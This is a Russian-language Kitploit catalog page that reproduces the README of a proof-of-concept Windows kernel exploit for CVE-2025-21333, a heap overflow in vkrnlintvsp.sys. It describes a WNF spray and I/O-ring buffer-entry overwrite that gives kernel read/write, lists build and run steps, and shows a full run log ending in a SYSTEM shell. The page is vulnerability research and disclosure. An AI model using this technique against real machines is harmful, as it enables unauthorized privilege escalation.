Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2025-21333-POC — Эксплойт POC для CVE-2025-21333 переполнения буфера в куче. Он использует WNF state data и I/O ring IOP_MC_BUFFER_ENTRY | Kitploit
Инструменты/GitHubGitHub/mrale98/cve-2025-21333-poc
Повышение привилегийАнализ уязвимостейЭксплуатацияПост-эксплуатацияЭксплуатация Бинарных Файлов
GitHubmrale98/cve-2025-21333-poc

CVE-2025-21333-POC

Эксплойт POC для CVE-2025-21333 переполнения буфера в куче. Он использует WNF state data и I/O ring IOP_MC_BUFFER_ENTRY

Репозиторий
2323641 год назадПроверено Kitploit

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

CVE-2025-21333-POC

Доказательство концепции, эксплуатирующее CVE-2025-21333 в vkrnlintvsp.sys (не очень надежно, см. раздел Требования и ограничения). В разделе Ссылки находятся очень полезные ресурсы для тех, кто хочет поиграться с эксплойтом.

Подробный анализ уязвимости и эксплойта доступен здесь.

Эта уязвимость была обнаружена как активно эксплуатируемая злоумышленниками.

Протестировано на Windows 11 23h2.

Может работать и на Windows 11 24h2, но я не тестировал.

Ниже приведены хеши ntoskrnl.exe и vkrnlintvsp.sys, которые использовались для тестирования PoC.

root@kitploit:~
PS C:\Windows\System32\drivers> get-filehash .\vkrnlintvsp.sys

Algorithm       Hash                                                                   Path
---------       ----                                                                   ----
SHA256          28948C65EF108AA5B43E3D10EE7EA7602AEBA0245305796A84B4F9DBDEDDDF77       C:\Windows\System32\drivers\v...

PS C:\Windows\System32\drivers>
root@kitploit:~
PS C:\Windows\System32> Get-FileHash ntoskrnl.exe

Algorithm       Hash                                                                   Path
---------       ----                                                                   ----
SHA256          999C51D12CDF17A57054068D909E88E1587A9A715F15E0DE9E32F4AA4875C473       C:\Windows\System32\ntoskrnl.exe

PS C:\Windows\System32>

Перезапись записи буфера I/O Ring для получения произвольного чтения/записи

Он не использует NtQuerySystemInformation для утечки адресов ядра и не использует PreviousMode для получения произвольного чтения/записи.

Вместо этого он выделяет в Paged Pool массив указателей на _IOP_MC_BUFFER_ENTRY и перезаписывает первый указатель вредоносным IOP_MC_BUFFER_ENTRY*, расположенным в пользовательском пространстве. Используя BuildIoRingWriteFile()/BuildIoRingReadFile(), можно получить произвольное чтение/запись в ядре.

Массив указателей на _IOP_MC_BUFFER_ENTRY — это объект с PoolTag IrRB.

Эта техника немного отличается от описанной Yarden Shafir здесь. Вместо того чтобы захватывать весь массив, на который указывает _IORING_OBJECT.RegBuffers, техника захватывает только одну запись в массиве, на который указывает _IORING_OBJECT.RegBuffers.

Поскольку размер массива указателей управляется пользователем, это означает, что его можно использовать для получения надежного произвольного чтения/записи в ring0, начиная с переполнений кучи и UAF для нескольких корзин LFH.

Я не знаю, делился ли кто-нибудь уже этой техникой для эксплуатации переполнений или UAF в Paged Pool.

Эти скриншоты были сделаны после выполнения PoC. Переполнение произошло в корзине для объектов размером 0x50. Обратите внимание, что удалось выделить массив RegBuffers в этой корзине, и первый указатель указывает на память пользовательского пространства.

image

Обратите внимание, что вредоносная запись устанавливает Address на объект процесса. Address соответствует произвольному адресу, который мы можем захотеть прочитать/записать (это уже хорошо описано в статье Yarden Shafir).

image

Требования и ограничения

Необходимо включить функцию Windows Sandbox, чтобы уязвимые системные вызовы обрабатывались уязвимым драйвером.

image

Мне удалось получить переполнение на 0xfff0 байт. Мне не удалось сделать длину переполнения полностью контролируемой. Вы можете увидеть сбой, если переполнение больше, чем подсегмент (это может происходить довольно часто). Возможно, распыляя больше объектов, можно минимизировать это поведение.

PoC освобождает 2 данных состояния WNF, чтобы перевыделить на этих позициях regBuffer (массив указателей на _IOP_MC_BUFFER_ENTRY, связанный с IORING_OBJECT) и PipeAttribute. Иногда между освобождением и перевыделением может произойти, что другой объект выделяется на этой позиции другим драйвером. Можно было бы использовать другие поврежденные объекты данных состояния WNF в цикле while для выполнения множественных попыток перевыделения и увеличить вероятность получения желаемой раскладки.

Код PoC довольно грязный.

После получения system лучше выйти из системной оболочки, введя exit в консоли, иначе машина упадет.

Компиляция и запуск

Скомпилируйте x64 Release версию.

Запустите и получите системную оболочку.

root@kitploit:~
PS C:\Users\unpriv> .\CVE-2025-21333-POC.exe
Preparing...
[*] fNtCreateCrossVmEvent = 00007FFD6BC31690
[*] fNtQueryInformationProcess = 00007FFD6BC304E0
[!] WindowsSandboxClient.exe process not found
[*] spawning windows sandbox
[*] CreateProcessA returned successfully
[*] NtQueryInformationProcess returned successfully
[*] peb_addr = 0000000100335000
[*] ReadProcessMemory returned successfully
[*] ProcessParameters = 00000147B06A6430
[*] ReadProcessMemory returned successfully
[*] CommandLine = 00000147B06A6ADA
[*] CommandLine_size = 3f0
[*] commandline = C:\Windows\system32\WindowsSandboxClient.exe <ContainerId>19a1ef14-ee35-47d8-8bdb-cf4c86272272</ContainerId><AccountUser>WDAGUtilityAccount</AccountUser><AccountPassword>66387310-a27d-4a59-a688-3ab018388c9e</AccountPassword><AudioInputEnabled>true</AudioInputEnabled><ClipboardRedirectionEnabled>true</ClipboardRedirectionEnabled><RebootSupported>true</RebootSupported><SmartCardRedirectionEnabled>false</SmartCardRedirectionEnabled><FullScreenMode>false</FullScreenMode><TargetDisplay>0</TargetDisplay>
[*] extracted guid = 19a1ef14-ee35-47d8-8bdb-cf4c86272272
[*] s_guid = 19a1ef14-ee35-47d8-8bdb-cf4c86272272
Created GUID
extracted guid
0x000000: 14 ef a1 19 35 ee d8 47 8b db cf 4c 86 27 22 72  ....5..G...L.'"r


guid
0x000000: 14 ef a1 19 35 ee d8 47 8b db cf 4c 86 27 22 72  ....5..G...L.'"r


Triggering vuln creating crossvmevent...
max corrupted WNF
state: a18d294541c64e6d val: 0  dataSize: 10040
calling NtqueryWnfStateData on max_corrupted with max_corrupted->state a18d2945a18d2945 and datasize10040
buffer content
[+] found WNF to be freed and replaced with RegBuffers
offset 30
[+] found WNF to be freed and replaced with PipeAttribute
offset2 80
updating regBuffersControllerWNF
calling NtUpdateWnfStateData on tokenReaderWNF->state a18d2945a18d2945 and datasize10040
calling NtUpdateWnfStateData returned successfully
[*] retrieving WNF with content 0x4343434343434343
[*] retrieving WNF with content 0x4444444444444444
searching in statenames2
found corrupted WNF: a18d514541c64e6dval: 4343434343434343
found corrupted WNF: a18d614541c64e6dval: 4444444444444444
found1 1 found2 1
found1 1 found2 1
found1 1 found2 1
0x000000: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
0x000010: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
0x000020: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
0x000030: 00 00 05 0b 49 72 52 42 64 b9 76 d3 e4 ff d1 c6  ....IrRBd.v.....
0x000040: a0 a1 b1 f1 09 e3 ff ff 00 00 00 00 00 00 00 00  ................
0x000050: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
0x000060: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
0x000070: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
0x000080: 00 00 05 03 4e 70 41 74 00 00 00 00 00 00 00 00  ....NpAt........
0x000090: d0 01 2b 47 0a d1 ff ff d0 01 2b 47 0a d1 ff ff  ..+G......+G....
0x0000a0: 38 81 2a 4d 0a d1 ff ff 16 00 00 00 00 00 00 00  8.*M............
0x0000b0: 3a 81 2a 4d 0a d1 ff ff 5a 00 41 41 41 41 41 41  :.*M....Z.AAAAAA
0x0000c0: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
0x0000d0: 00 00 05 03 57 6e 66 20 42 42 42 42 42 42 42 42  ....Wnf BBBBBBBB
0x0000e0: 00 00 00 00 50 ff 00 00 50 ff 00 00 01 00 00 00  ....P...P.......
0x0000f0: 03 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
0x000100: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
0x000110: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
0x000120: 00 00 05 03 57 6e 66 20 42 42 42 42 42 42 42 42  ....Wnf BBBBBBBB
0x000130: 00 00 00 00 00 ff 00 00 00 ff 00 00 01 00 00 00  ................
0x000140: 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................


[+] regBuffers found and can be overwritten
[+] pipeAttribute found and can be read
[*] original_regBufferEntry: ffffe309f1b1a1a0
[*] pipeAttributeFlink: ffffd10a472b01d0
[+] found target handle
[*] targetHandle: 00000211216BC4D0
[*] ioring index: 425
[*] fileObject: ffffe309f134d7e0
[*] base of npfs.sys: fffff80631660000
[*] base of ntoskrnl.exe: fffff80628c00000
[*] system EPROCESS: ffffe309ea4c2040
[*] system TOKEN: ffffd10a3a246040
[*] curpid: 21c8
Microsoft Windows [Version 10.0.22631.4460]
(c) Microsoft Corporation. All rights reserved.

C:\Users\unpriv>whoami
nt authority\system

C:\Users\unpriv>exit
calling NtUpdateWnfStateData returned successfully
PS C:\Users\unpriv>

Ссылки

  • https://www.sstic.org/media/SSTIC2020/SSTIC-actes/pool_overflow_exploitation_since_windows_10_19h1/SSTIC2020-Article-pool_overflow_exploitation_since_windows_10_19h1-bayet_fariello.pdf
  • https://www.nccgroup.com/us/research-blog/cve-2021-31956-exploiting-the-windows-kernel-ntfs-with-wnf-part-1/
  • https://windows-internals.com/one-i-o-ring-to-rule-them-all-a-full-read-write-exploit-primitive-on-windows-11/

Благодарности

  • @cbayet
  • @paulfariello
  • @alexjplaskett
  • @yarden_shafir
Скачать инструмент